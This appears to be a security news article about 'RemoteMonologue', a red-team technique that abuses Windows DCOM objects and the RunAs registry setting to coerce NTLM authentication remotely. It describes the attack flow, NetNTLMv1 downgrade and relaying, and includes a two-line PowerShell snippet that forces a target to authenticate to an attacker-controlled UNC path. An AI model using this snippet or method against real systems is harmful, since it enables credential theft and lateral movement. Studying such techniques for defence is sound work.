‘RemoteMonologue’ New Red Team Technique Exploits DCOM To Steal NTLM Credentials Remotely

A sophisticated new red team technique dubbed “RemoteMonologue” has emerged, enabling attackers to remotely harvest NTLM credentials without deploying malicious payloads or accessing the Local Security Authority Subsystem Service (LSASS).

As traditional methods of credential theft face increasing scrutiny from advanced security measures and Endpoint Detection and Response (EDR) solutions, this technique represents a significant evolution in lateral movement tactics.

The technique capitalizes on underutilized Component Object Model (COM) objects and their distributed counterpart, Distributed Component Object Model (DCOM), to coerce NTLM authentication from remote Windows systems.

By leveraging legitimate Windows functionality, RemoteMonologue operates effectively as a “living off the land” technique, making detection substantially more challenging than conventional credential harvesting methods.

IBM researchers detected this novel approach in their April 2025 security analysis, noting its ability to coerce authentication remotely without requiring payloads to be transferred or executed on the target system.

This characteristic substantially reduces the risk of detection while achieving results comparable to more invasive techniques.

The attack exploits Windows COM objects by manipulating their security settings, specifically by modifying the RunAs registry key value to “Interactive User.”

This configuration causes the DCOM object to execute under the security context of the user currently logged into the target system’s console session, effectively enabling session hijacking without knowing the affected user’s credentials.

Technical Mechanism Behind RemoteMonologue

The core mechanism of RemoteMonologue centers around three specific DCOM objects that can be weaponized for authentication coercion: ServerDataCollectorSet, FileSystemImage, and UpdateSession.

Each object contains properties or methods that can be manipulated to force the target system to attempt authentication against an attacker-controlled server.

For instance, the ServerDataCollectorSet’s DataManager property contains an Extract method that accepts two parameters: CabFilename and DestinationPath.

By supplying a UNC path for CabFilename that points to an attacker-controlled server, the technique triggers an NTLM authentication attempt:-

$a = [System.Activator]::CreateInstance([type]::GetTypeFromCLSID("03837546-098b-11d8-9414-505054503030", "172.22.166.170"))
$a.DataManager.Extract("\\172.22.164.58\john\cena.txt","xforcered")

The attack flow involves first modifying the Windows registry to set the RunAs key for a DCOM object’s AppID to “Interactive User,” then remotely instantiating the DCOM object and invoking methods or properties that trigger network authentication.

When executed successfully, this forces the logged-in user’s account to authenticate to the attacker’s system, exposing their NTLM credentials.

The technique is particularly valuable because it can be combined with NetNTLMv1 downgrade attacks by modifying the LmCompatibilityLevel registry key, potentially allowing for more straightforward credential cracking.

Additionally, captured credentials can be relayed to other network services like LDAP or SMB to perform actions as the affected user, making this a versatile addition to the red team arsenal.

This development highlights the ongoing evolution of credential harvesting techniques as defenders strengthen their security postures, forcing attackers to find increasingly sophisticated methods that evade common security controls.

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